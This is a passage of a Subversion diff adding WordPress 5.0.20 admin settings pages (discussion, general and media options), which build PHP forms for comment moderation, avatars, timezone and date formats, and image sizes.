+<input name="default_ping_status" type="checkbox" id="default_ping_status" value="open" <?php checked('open', get_option('default_ping_status')); ?> />
+<?php _e('Allow link notifications from other blogs (pingbacks and trackbacks) on new articles'); ?></label>
+<br />
+<label for="default_comment_status">
+<input name="default_comment_status" type="checkbox" id="default_comment_status" value="open" <?php checked('open', get_option('default_comment_status')); ?> />
+<?php _e('Allow people to post comments on new articles'); ?></label>
+<br />
+<p class="description"><?php echo '(' . __( 'These settings may be overridden for individual articles.' ) . ')'; ?></p>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Other comment settings'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Other comment settings'); ?></span></legend>
+<label for="require_name_email"><input type="checkbox" name="require_name_email" id="require_name_email" value="1" <?php checked('1', get_option('require_name_email')); ?> /> <?php _e('Comment author must fill out name and email'); ?></label>
+<br />
+<label for="comment_registration">
+<input name="comment_registration" type="checkbox" id="comment_registration" value="1" <?php checked('1', get_option('comment_registration')); ?> />
+<?php _e('Users must be registered and logged in to comment'); ?>
+<?php if ( !get_option( 'users_can_register' ) && is_multisite() ) echo ' ' . __( '(Signup has been disabled. Only members of this site can comment.)' ); ?>
+</label>
+<br />
+
+<label for="close_comments_for_old_posts">
+<input name="close_comments_for_old_posts" type="checkbox" id="close_comments_for_old_posts" value="1" <?php checked('1', get_option('close_comments_for_old_posts')); ?> />
+<?php printf(
+	__( 'Automatically close comments on articles older than %s days' ),
+	'</label> <label for="close_comments_days_old"><input name="close_comments_days_old" type="number" min="0" step="1" id="close_comments_days_old" value="' . esc_attr( get_option( 'close_comments_days_old' ) ) . '" class="small-text" />'
+); ?>
+</label>
+<br />
+
+<label for="show_comments_cookies_opt_in">
+<input name="show_comments_cookies_opt_in" type="checkbox" id="show_comments_cookies_opt_in" value="1" <?php checked( '1', get_option( 'show_comments_cookies_opt_in' ) ); ?> />
+<?php _e( 'Show comments cookies opt-in checkbox.' ); ?>
+</label>
+<br />
+
+<label for="thread_comments">
+<input name="thread_comments" type="checkbox" id="thread_comments" value="1" <?php checked('1', get_option('thread_comments')); ?> />
+<?php
+/**
+ * Filters the maximum depth of threaded/nested comments.
+ *
+ * @since 2.7.0.
+ *
+ * @param int $max_depth The maximum depth of threaded comments. Default 10.
+ */
+$maxdeep = (int) apply_filters( 'thread_comments_depth_max', 10 );
+
+$thread_comments_depth = '</label> <label for="thread_comments_depth"><select name="thread_comments_depth" id="thread_comments_depth">';
+for ( $i = 2; $i <= $maxdeep; $i++ ) {
+	$thread_comments_depth .= "<option value='" . esc_attr($i) . "'";
+	if ( get_option('thread_comments_depth') == $i ) $thread_comments_depth .= " selected='selected'";
+	$thread_comments_depth .= ">$i</option>";
+}
+$thread_comments_depth .= '</select>';
+
+printf( __('Enable threaded (nested) comments %s levels deep'), $thread_comments_depth );
+
+?></label>
+<br />
+<label for="page_comments">
+<input name="page_comments" type="checkbox" id="page_comments" value="1" <?php checked( '1', get_option( 'page_comments' ) ); ?> />
+<?php
+$default_comments_page = '</label> <label for="default_comments_page"><select name="default_comments_page" id="default_comments_page"><option value="newest"';
+if ( 'newest' == get_option('default_comments_page') ) $default_comments_page .= ' selected="selected"';
+$default_comments_page .= '>' . __('last') . '</option><option value="oldest"';
+if ( 'oldest' == get_option('default_comments_page') ) $default_comments_page .= ' selected="selected"';
+$default_comments_page .= '>' . __('first') . '</option></select>';
+printf(
+	/* translators: 1: Form field control for number of top level comments per page, 2: Form field control for the 'first' or 'last' page */
+	__( 'Break comments into pages with %1$s top level comments per page and the %2$s page displayed by default' ),
+	'</label> <label for="comments_per_page"><input name="comments_per_page" type="number" step="1" min="0" id="comments_per_page" value="' . esc_attr( get_option( 'comments_per_page' ) ) . '" class="small-text" />',
+	$default_comments_page
+);
+?></label>
+<br />
+<label for="comment_order"><?php
+
+$comment_order = '<select name="comment_order" id="comment_order"><option value="asc"';
+if ( 'asc' == get_option('comment_order') ) $comment_order .= ' selected="selected"';
+$comment_order .= '>' . __('older') . '</option><option value="desc"';
+if ( 'desc' == get_option('comment_order') ) $comment_order .= ' selected="selected"';
+$comment_order .= '>' . __('newer') . '</option></select>';
+
+printf( __('Comments should be displayed with the %s comments at the top of each page'), $comment_order );
+
+?></label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Email me whenever'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Email me whenever'); ?></span></legend>
+<label for="comments_notify">
+<input name="comments_notify" type="checkbox" id="comments_notify" value="1" <?php checked('1', get_option('comments_notify')); ?> />
+<?php _e('Anyone posts a comment'); ?> </label>
+<br />
+<label for="moderation_notify">
+<input name="moderation_notify" type="checkbox" id="moderation_notify" value="1" <?php checked('1', get_option('moderation_notify')); ?> />
+<?php _e('A comment is held for moderation'); ?> </label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Before a comment appears'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Before a comment appears'); ?></span></legend>
+<label for="comment_moderation">
+<input name="comment_moderation" type="checkbox" id="comment_moderation" value="1" <?php checked('1', get_option('comment_moderation')); ?> />
+<?php _e('Comment must be manually approved'); ?> </label>
+<br />
+<label for="comment_whitelist"><input type="checkbox" name="comment_whitelist" id="comment_whitelist" value="1" <?php checked('1', get_option('comment_whitelist')); ?> /> <?php _e('Comment author must have a previously approved comment'); ?></label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Comment Moderation'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Comment Moderation'); ?></span></legend>
+<p><label for="comment_max_links"><?php printf(__('Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)'), '<input name="comment_max_links" type="number" step="1" min="0" id="comment_max_links" value="' . esc_attr(get_option('comment_max_links')) . '" class="small-text" />' ); ?></label></p>
+
+<p><label for="moderation_keys"><?php _e('When a comment contains any of these words in its content, name, URL, email, or IP address, it will be held in the <a href="edit-comments.php?comment_status=moderated">moderation queue</a>. One word or IP address per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.'); ?></label></p>
+<p>
+<textarea name="moderation_keys" rows="10" cols="50" id="moderation_keys" class="large-text code"><?php echo esc_textarea( get_option( 'moderation_keys' ) ); ?></textarea>
+</p>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Comment Blacklist'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Comment Blacklist'); ?></span></legend>
+<p><label for="blacklist_keys"><?php _e('When a comment contains any of these words in its content, name, URL, email, or IP address, it will be put in the trash. One word or IP address per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.'); ?></label></p>
+<p>
+<textarea name="blacklist_keys" rows="10" cols="50" id="blacklist_keys" class="large-text code"><?php echo esc_textarea( get_option( 'blacklist_keys' ) ); ?></textarea>
+</p>
+</fieldset></td>
+</tr>
+<?php do_settings_fields('discussion', 'default'); ?>
+</table>
+
+<h2 class="title"><?php _e('Avatars'); ?></h2>
+
+<p><?php _e('An avatar is an image that follows you from weblog to weblog appearing beside your name when you comment on avatar enabled sites. Here you can enable the display of avatars for people who comment on your site.'); ?></p>
+
+<?php
+// the above would be a good place to link to codex documentation on the gravatar functions, for putting it in themes. anything like that?
+
+$show_avatars = get_option( 'show_avatars' );
+?>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Avatar Display'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Avatar Display'); ?></span></legend>
+	<label for="show_avatars">
+		<input type="checkbox" id="show_avatars" name="show_avatars" value="1" <?php checked( $show_avatars, 1 ); ?> />
+		<?php _e( 'Show Avatars' ); ?>
+	</label>
+</fieldset></td>
+</tr>
+<tr class="avatar-settings<?php if ( ! $show_avatars ) echo ' hide-if-js'; ?>">
+<th scope="row"><?php _e('Maximum Rating'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Maximum Rating'); ?></span></legend>
+
+<?php
+$ratings = array(
+	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
+	'G' => __('G &#8212; Suitable for all audiences'),
+	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
+	'PG' => __('PG &#8212; Possibly offensive, usually for audiences 13 and above'),
+	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
+	'R' => __('R &#8212; Intended for adult audiences above 17'),
+	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
+	'X' => __('X &#8212; Even more mature than above')
+);
+foreach ($ratings as $key => $rating) :
+	$selected = (get_option('avatar_rating') == $key) ? 'checked="checked"' : '';
+	echo "\n\t<label><input type='radio' name='avatar_rating' value='" . esc_attr($key) . "' $selected/> $rating</label><br />";
+endforeach;
+?>
+
+</fieldset></td>
+</tr>
+<tr class="avatar-settings<?php if ( ! $show_avatars ) echo ' hide-if-js'; ?>">
+<th scope="row"><?php _e('Default Avatar'); ?></th>
+<td class="defaultavatarpicker"><fieldset><legend class="screen-reader-text"><span><?php _e('Default Avatar'); ?></span></legend>
+
+<?php _e('For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their email address.'); ?><br />
+
+<?php
+$avatar_defaults = array(
+	'mystery' => __('Mystery Person'),
+	'blank' => __('Blank'),
+	'gravatar_default' => __('Gravatar Logo'),
+	'identicon' => __('Identicon (Generated)'),
+	'wavatar' => __('Wavatar (Generated)'),
+	'monsterid' => __('MonsterID (Generated)'),
+	'retro' => __('Retro (Generated)')
+);
+/**
+ * Filters the default avatars.
+ *
+ * Avatars are stored in key/value pairs, where the key is option value,
+ * and the name is the displayed avatar name.
+ *
+ * @since 2.6.0
+ *
+ * @param array $avatar_defaults Array of default avatars.
+ */
+$avatar_defaults = apply_filters( 'avatar_defaults', $avatar_defaults );
+$default = get_option( 'avatar_default', 'mystery' );
+$avatar_list = '';
+
+// Force avatars on to display these choices
+add_filter( 'pre_option_show_avatars', '__return_true', 100 );
+
+foreach ( $avatar_defaults as $default_key => $default_name ) {
+	$selected = ($default == $default_key) ? 'checked="checked" ' : '';
+	$avatar_list .= "\n\t<label><input type='radio' name='avatar_default' id='avatar_{$default_key}' value='" . esc_attr($default_key) . "' {$selected}/> ";
+	$avatar_list .= get_avatar( $user_email, 32, $default_key, '', array( 'force_default' => true ) );
+	$avatar_list .= ' ' . $default_name . '</label>';
+	$avatar_list .= '<br />';
+}
+
+remove_filter( 'pre_option_show_avatars', '__return_true', 100 );
+
+/**
+ * Filters the HTML output of the default avatar list.
+ *
+ * @since 2.6.0
+ *
+ * @param string $avatar_list HTML markup of the avatar list.
+ */
+echo apply_filters( 'default_avatar_select', $avatar_list );
+?>
+
+</fieldset></td>
+</tr>
+<?php do_settings_fields('discussion', 'avatars'); ?>
+</table>
+
+<?php do_settings_sections('discussion'); ?>
+
+<?php submit_button(); ?>
+</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options-general.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-general.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-general.php	(revision 56912)
@@ -0,0 +1,389 @@
+<?php
+/**
+ * General settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Translation Installation API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+
+$title = __('General Settings');
+$parent_file = 'options-general.php';
+/* translators: date and time format for exact current time, mainly about timezones, see https://secure.php.net/date */
+$timezone_format = _x('Y-m-d H:i:s', 'timezone date format');
+
+add_action('admin_head', 'options_general_add_js');
+
+$options_help = '<p>' . __('The fields on this screen determine some of the basics of your site setup.') . '</p>' .
+	'<p>' . __('Most themes display the site title at the top of every page, in the title bar of the browser, and as the identifying name for syndicated feeds. The tagline is also displayed by many themes.') . '</p>';
+
+if ( ! is_multisite() ) {
+	$options_help .= '<p>' . __('The WordPress URL and the Site URL can be the same (example.com) or different; for example, having the WordPress core files (example.com/wordpress) in a subdirectory instead of the root directory.') . '</p>' .
+		'<p>' . __('If you want site visitors to be able to register themselves, as opposed to by the site administrator, check the membership box. A default user role can be set for all new users, whether self-registered or registered by the site admin.') . '</p>';
+}
+
+$options_help .= '<p>' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '</p>' .
+	'<p>' . __( 'UTC means Coordinated Universal Time.' ) . '</p>' .
+	'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $options_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Settings_General_Screen">Documentation on General Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<form method="post" action="options.php" novalidate="novalidate">
+<?php settings_fields('general'); ?>
+
+<table class="form-table">
+
+<tr>
+<th scope="row"><label for="blogname"><?php _e('Site Title') ?></label></th>
+<td><input name="blogname" type="text" id="blogname" value="<?php form_option('blogname'); ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+<th scope="row"><label for="blogdescription"><?php _e('Tagline') ?></label></th>
+<td><input name="blogdescription" type="text" id="blogdescription" aria-describedby="tagline-description" value="<?php form_option('blogdescription'); ?>" class="regular-text" />
+<p class="description" id="tagline-description"><?php _e( 'In a few words, explain what this site is about.' ) ?></p></td>
+</tr>
+
+<?php if ( !is_multisite() ) { ?>
+
+<tr>
+<th scope="row"><label for="siteurl"><?php _e('WordPress Address (URL)') ?></label></th>
+<td><input name="siteurl" type="url" id="siteurl" value="<?php form_option( 'siteurl' ); ?>"<?php disabled( defined( 'WP_SITEURL' ) ); ?> class="regular-text code<?php if ( defined( 'WP_SITEURL' ) ) echo ' disabled' ?>" /></td>
+</tr>
+
+<tr>
+<th scope="row"><label for="home"><?php _e('Site Address (URL)') ?></label></th>
+<td><input name="home" type="url" id="home" aria-describedby="home-description" value="<?php form_option( 'home' ); ?>"<?php disabled( defined( 'WP_HOME' ) ); ?> class="regular-text code<?php if ( defined( 'WP_HOME' ) ) echo ' disabled' ?>" />
+<?php if ( ! defined( 'WP_HOME' ) ) : ?>
+<p class="description" id="home-description"><?php
+	printf(
+		/* translators: %s: Codex URL */
+		__( 'Enter the address here if you <a href="%s">want your site home page to be different from your WordPress installation directory</a>.' ),
+		__( 'https://codex.wordpress.org/Giving_WordPress_Its_Own_Directory' )
+	);
+?></p>
+<?php endif; ?>
+</td>
+</tr>
+
+<?php } ?>
+
+<tr>
+<th scope="row"><label for="new_admin_email"><?php _e( 'Email Address' ); ?></label></th>
+<td><input name="new_admin_email" type="email" id="new_admin_email" aria-describedby="new-admin-email-description" value="<?php form_option( 'admin_email' ); ?>" class="regular-text ltr" />
+<p class="description" id="new-admin-email-description"><?php _e( 'This address is used for admin purposes. If you change this we will send you an email at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?></p>
+<?php
+$new_admin_email = get_option( 'new_admin_email' );
+if ( $new_admin_email && $new_admin_email != get_option( 'admin_email' ) ) : ?>
+	<div class="updated inline">
+	<p><?php
+		printf(
+			/* translators: %s: new admin email */
+			__( 'There is a pending change of the admin email to %s.' ),
+			'<code>' . esc_html( $new_admin_email ) . '</code>'
+		);
+		printf(
+			' <a href="%1$s">%2$s</a>',
+			esc_url( wp_nonce_url( admin_url( 'options.php?dismiss=new_admin_email' ), 'dismiss-' . get_current_blog_id() . '-new_admin_email' ) ),
+			__( 'Cancel' )
+		);
+	?></p>
+	</div>
+<?php endif; ?>
+</td>
+</tr>
+
+<?php if ( ! is_multisite() ) { ?>
+
+<tr>
+<th scope="row"><?php _e('Membership') ?></th>
+<td> <fieldset><legend class="screen-reader-text"><span><?php _e('Membership') ?></span></legend><label for="users_can_register">
+<input name="users_can_register" type="checkbox" id="users_can_register" value="1" <?php checked('1', get_option('users_can_register')); ?> />
+<?php _e('Anyone can register') ?></label>
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><label for="default_role"><?php _e('New User Default Role') ?></label></th>
+<td>
+<select name="default_role" id="default_role"><?php wp_dropdown_roles( get_option('default_role') ); ?></select>
+</td>
+</tr>
+
+<?php }
+
+$languages = get_available_languages();
+$translations = wp_get_available_translations();
+if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG && ! in_array( WPLANG, $languages ) ) {
+	$languages[] = WPLANG;
+}
+if ( ! empty( $languages ) || ! empty( $translations ) ) {
+	?>
+	<tr>
+		<th scope="row"><label for="WPLANG"><?php _e( 'Site Language' ); ?></label></th>
+		<td>
+			<?php
+			$locale = get_locale();
+			if ( ! in_array( $locale, $languages ) ) {
+				$locale = '';
+			}
+
+			wp_dropdown_languages( array(
+				'name'         => 'WPLANG',
+				'id'           => 'WPLANG',
+				'selected'     => $locale,
+				'languages'    => $languages,
+				'translations' => $translations,
+				'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
+			) );
+
+			// Add note about deprecated WPLANG constant.
+			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && $locale !== WPLANG ) {
+				if ( is_multisite() && current_user_can( 'manage_network_options' )
+					|| ! is_multisite() && current_user_can( 'manage_options' ) ) {
+					?>
+					<p class="description">
+						<strong><?php _e( 'Note:' ); ?></strong> <?php printf( __( 'The %s constant in your %s file is no longer needed.' ), '<code>WPLANG</code>', '<code>wp-config.php</code>' ); ?>
+					</p>
+					<?php
+				}
+				_deprecated_argument( 'define()', '4.0.0', sprintf( __( 'The %s constant in your %s file is no longer needed.' ), 'WPLANG', 'wp-config.php' ) );
+			}
+			?>
+		</td>
+	</tr>
+	<?php
+}
+?>
+<tr>
+<?php
+$current_offset = get_option('gmt_offset');
+$tzstring = get_option('timezone_string');
+
+$check_zone_info = true;
+
+// Remove old Etc mappings. Fallback to gmt_offset.
+if ( false !== strpos($tzstring,'Etc/GMT') )
+	$tzstring = '';
+
+if ( empty($tzstring) ) { // Create a UTC+- zone if no timezone string exists
+	$check_zone_info = false;
+	if ( 0 == $current_offset )
+		$tzstring = 'UTC+0';
+	elseif ($current_offset < 0)
+		$tzstring = 'UTC' . $current_offset;
+	else
+		$tzstring = 'UTC+' . $current_offset;
+}
+
+?>
+<th scope="row"><label for="timezone_string"><?php _e('Timezone') ?></label></th>
+<td>
+
+<select id="timezone_string" name="timezone_string" aria-describedby="timezone-description">
+	<?php echo wp_timezone_choice( $tzstring, get_user_locale() ); ?>
+</select>
+
+<p class="description" id="timezone-description"><?php _e( 'Choose either a city in the same timezone as you or a UTC timezone offset.' ); ?></p>
+
+<p class="timezone-info">
+	<span id="utc-time"><?php
+		/* translators: 1: UTC abbreviation, 2: UTC time */
+		printf( __( 'Universal time (%1$s) is %2$s.' ),
+			'<abbr>' . __( 'UTC' ) . '</abbr>',
+			'<code>' . date_i18n( $timezone_format, false, true ) . '</code>'
+		);
+	?></span>
+<?php if ( get_option( 'timezone_string' ) || ! empty( $current_offset ) ) : ?>
+	<span id="local-time"><?php
+		/* translators: %s: local time */
+		printf( __( 'Local time is %s.' ),
+			'<code>' . date_i18n( $timezone_format ) . '</code>'
+		);
+	?></span>
+<?php endif; ?>
+</p>
+
+<?php if ( $check_zone_info && $tzstring ) : ?>
+<p class="timezone-info">
+<span>
+	<?php
+	// Set TZ so localtime works.
+	date_default_timezone_set($tzstring);
+	$now = localtime(time(), true);
+	if ( $now['tm_isdst'] )
+		_e('This timezone is currently in daylight saving time.');
+	else
+		_e('This timezone is currently in standard time.');
+	?>
+	<br />
+	<?php
+	$allowed_zones = timezone_identifiers_list();
+
+	if ( in_array( $tzstring, $allowed_zones) ) {
+		$found = false;
+		$date_time_zone_selected = new DateTimeZone($tzstring);
+		$tz_offset = timezone_offset_get($date_time_zone_selected, date_create());
+		$right_now = time();
+		foreach ( timezone_transitions_get($date_time_zone_selected) as $tr) {
+			if ( $tr['ts'] > $right_now ) {
+			    $found = true;
+				break;
+			}
+		}
+
+		if ( $found ) {
+			echo ' ';
+			$message = $tr['isdst'] ?
+				/* translators: %s: date and time  */
+				__( 'Daylight saving time begins on: %s.')  :
+				/* translators: %s: date and time  */
+				__( 'Standard time begins on: %s.' );
+			// Add the difference between the current offset and the new offset to ts to get the correct transition time from date_i18n().
+			printf( $message,
+				'<code>' . date_i18n(
+					__( 'F j, Y' ) . ' ' . __( 'g:i a' ),
+					$tr['ts'] + ( $tz_offset - $tr['offset'] )
+				) . '</code>'
+			);
+		} else {
+			_e( 'This timezone does not observe daylight saving time.' );
+		}
+	}
+	// Set back to UTC.
+	date_default_timezone_set('UTC');
+	?>
+	</span>
+</p>
+<?php endif; ?>
+</td>
+
+</tr>
+<tr>
+<th scope="row"><?php _e('Date Format') ?></th>
+<td>
+	<fieldset><legend class="screen-reader-text"><span><?php _e('Date Format') ?></span></legend>
+<?php
+	/**
+	* Filters the default date formats.
+	*
+	* @since 2.7.0
+	* @since 4.0.0 Added ISO date standard YYYY-MM-DD format.
+	*
+	* @param array $default_date_formats Array of default date formats.
+	*/
+	$date_formats = array_unique( apply_filters( 'date_formats', array( __( 'F j, Y' ), 'Y-m-d', 'm/d/Y', 'd/m/Y' ) ) );
+
+	$custom = true;
+
+	foreach ( $date_formats as $format ) {
+		echo "\t<label><input type='radio' name='date_format' value='" . esc_attr( $format ) . "'";
+		if ( get_option('date_format') === $format ) { // checked() uses "==" rather than "==="
+			echo " checked='checked'";
+			$custom = false;
+		}
+		echo ' /> <span class="date-time-text format-i18n">' . date_i18n( $format ) . '</span><code>' . esc_html( $format ) . "</code></label><br />\n";
+	}
+
+	echo '<label><input type="radio" name="date_format" id="date_format_custom_radio" value="\c\u\s\t\o\m"';
+	checked( $custom );
+	echo '/> <span class="date-time-text date-time-custom-text">' . __( 'Custom:' ) . '<span class="screen-reader-text"> ' . __( 'enter a custom date format in the following field' ) . '</span></span></label>' .
+		'<label for="date_format_custom" class="screen-reader-text">' . __( 'Custom date format:' ) . '</label>' .
+		'<input type="text" name="date_format_custom" id="date_format_custom" value="' . esc_attr( get_option( 'date_format' ) ) . '" class="small-text" />' .
+		'<br />' .
+		'<p><strong>' . __( 'Preview:' ) . '</strong> <span class="example">' . date_i18n( get_option( 'date_format' ) ) . '</span>' .
+		"<span class='spinner'></span>\n" . '</p>';
+?>
+	</fieldset>
+</td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Time Format') ?></th>
+<td>
+	<fieldset><legend class="screen-reader-text"><span><?php _e('Time Format') ?></span></legend>
+<?php
+	/**
+	* Filters the default time formats.
+	*
+	* @since 2.7.0
+	*
+	* @param array $default_time_formats Array of default time formats.
+	*/
+	$time_formats = array_unique( apply_filters( 'time_formats', array( __( 'g:i a' ), 'g:i A', 'H:i' ) ) );
+
+	$custom = true;
+
+	foreach ( $time_formats as $format ) {
+		echo "\t<label><input type='radio' name='time_format' value='" . esc_attr( $format ) . "'";
+		if ( get_option('time_format') === $format ) { // checked() uses "==" rather than "==="
+			echo " checked='checked'";
+			$custom = false;
+		}
+		echo ' /> <span class="date-time-text format-i18n">' . date_i18n( $format ) . '</span><code>' . esc_html( $format ) . "</code></label><br />\n";
+	}
+
+	echo '<label><input type="radio" name="time_format" id="time_format_custom_radio" value="\c\u\s\t\o\m"';
+	checked( $custom );
+	echo '/> <span class="date-time-text date-time-custom-text">' . __( 'Custom:' ) . '<span class="screen-reader-text"> ' . __( 'enter a custom time format in the following field' ) . '</span></span></label>' .
+		'<label for="time_format_custom" class="screen-reader-text">' . __( 'Custom time format:' ) . '</label>' .
+		'<input type="text" name="time_format_custom" id="time_format_custom" value="' . esc_attr( get_option( 'time_format' ) ) . '" class="small-text" />' .
+		'<br />' .
+		'<p><strong>' . __( 'Preview:' ) . '</strong> <span class="example">' . date_i18n( get_option( 'time_format' ) ) . '</span>' .
+		"<span class='spinner'></span>\n" . '</p>';
+
+	echo "\t<p class='date-time-doc'>" . __('<a href="https://codex.wordpress.org/Formatting_Date_and_Time">Documentation on date and time formatting</a>.') . "</p>\n";
+?>
+	</fieldset>
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="start_of_week"><?php _e('Week Starts On') ?></label></th>
+<td><select name="start_of_week" id="start_of_week">
+<?php
+/**
+ * @global WP_Locale $wp_locale
+ */
+global $wp_locale;
+
+for ($day_index = 0; $day_index <= 6; $day_index++) :
+	$selected = (get_option('start_of_week') == $day_index) ? 'selected="selected"' : '';
+	echo "\n\t<option value='" . esc_attr($day_index) . "' $selected>" . $wp_locale->get_weekday($day_index) . '</option>';
+endfor;
+?>
+</select></td>
+</tr>
+<?php do_settings_fields('general', 'default'); ?>
+</table>
+
+<?php do_settings_sections('general'); ?>
+
+<?php submit_button(); ?>
+</form>
+
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options-head.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-head.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-head.php	(revision 56912)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * WordPress Options Header.
+ *
+ * Displays updated message, if updated variable is part of the URL query.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+wp_reset_vars( array( 'action' ) );
+
+if ( isset( $_GET['updated'] ) && isset( $_GET['page'] ) ) {
+	// For back-compat with plugins that don't use the Settings API and just set updated=1 in the redirect.
+	add_settings_error('general', 'settings_updated', __('Settings saved.'), 'updated');
+}
+
+settings_errors();
Index: /tags/5.0.20/src/wp-admin/options-media.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-media.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-media.php	(revision 56912)
@@ -0,0 +1,150 @@
+<?php
+/**
+ * Media settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+
+$title = __('Media Settings');
+$parent_file = 'options-general.php';
+
+$media_options_help = '<p>' . __('You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size.') . '</p>';
+
+if ( ! is_multisite() && ( get_option('upload_url_path') || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) ) {
+	$media_options_help .= '<p>' . __('Uploading Files allows you to choose the folder and path for storing your uploaded files.') . '</p>';
+}
+
+$media_options_help .= '<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $media_options_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Media_Screen">Documentation on Media Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<form action="options.php" method="post">
+<?php settings_fields('media'); ?>
+
+<h2 class="title"><?php _e('Image sizes') ?></h2>
+<p><?php _e( 'The sizes listed below determine the maximum dimensions in pixels to use when adding an image to the Media Library.' ); ?></p>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Thumbnail size') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Thumbnail size' ); ?></span></legend>
+<label for="thumbnail_size_w"><?php _e( 'Width' ); ?></label>
+<input name="thumbnail_size_w" type="number" step="1" min="0" id="thumbnail_size_w" value="<?php form_option( 'thumbnail_size_w' ); ?>" class="small-text" />
+<br />
+<label for="thumbnail_size_h"><?php _e( 'Height' ); ?></label>
+<input name="thumbnail_size_h" type="number" step="1" min="0" id="thumbnail_size_h" value="<?php form_option( 'thumbnail_size_h' ); ?>" class="small-text" />
+</fieldset>
+<input name="thumbnail_crop" type="checkbox" id="thumbnail_crop" value="1" <?php checked( '1', get_option( 'thumbnail_crop' ) ); ?>/>
+<label for="thumbnail_crop"><?php _e( 'Crop thumbnail to exact dimensions (normally thumbnails are proportional)' ); ?></label>
+</td>
+</tr>
+
+<tr>
+<th scope="row"><?php _e('Medium size') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Medium size'); ?></span></legend>
+<label for="medium_size_w"><?php _e('Max Width'); ?></label>
+<input name="medium_size_w" type="number" step="1" min="0" id="medium_size_w" value="<?php form_option('medium_size_w'); ?>" class="small-text" />
+<br />
+<label for="medium_size_h"><?php _e('Max Height'); ?></label>
+<input name="medium_size_h" type="number" step="1" min="0" id="medium_size_h" value="<?php form_option('medium_size_h'); ?>" class="small-text" />
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><?php _e('Large size') ?></th>
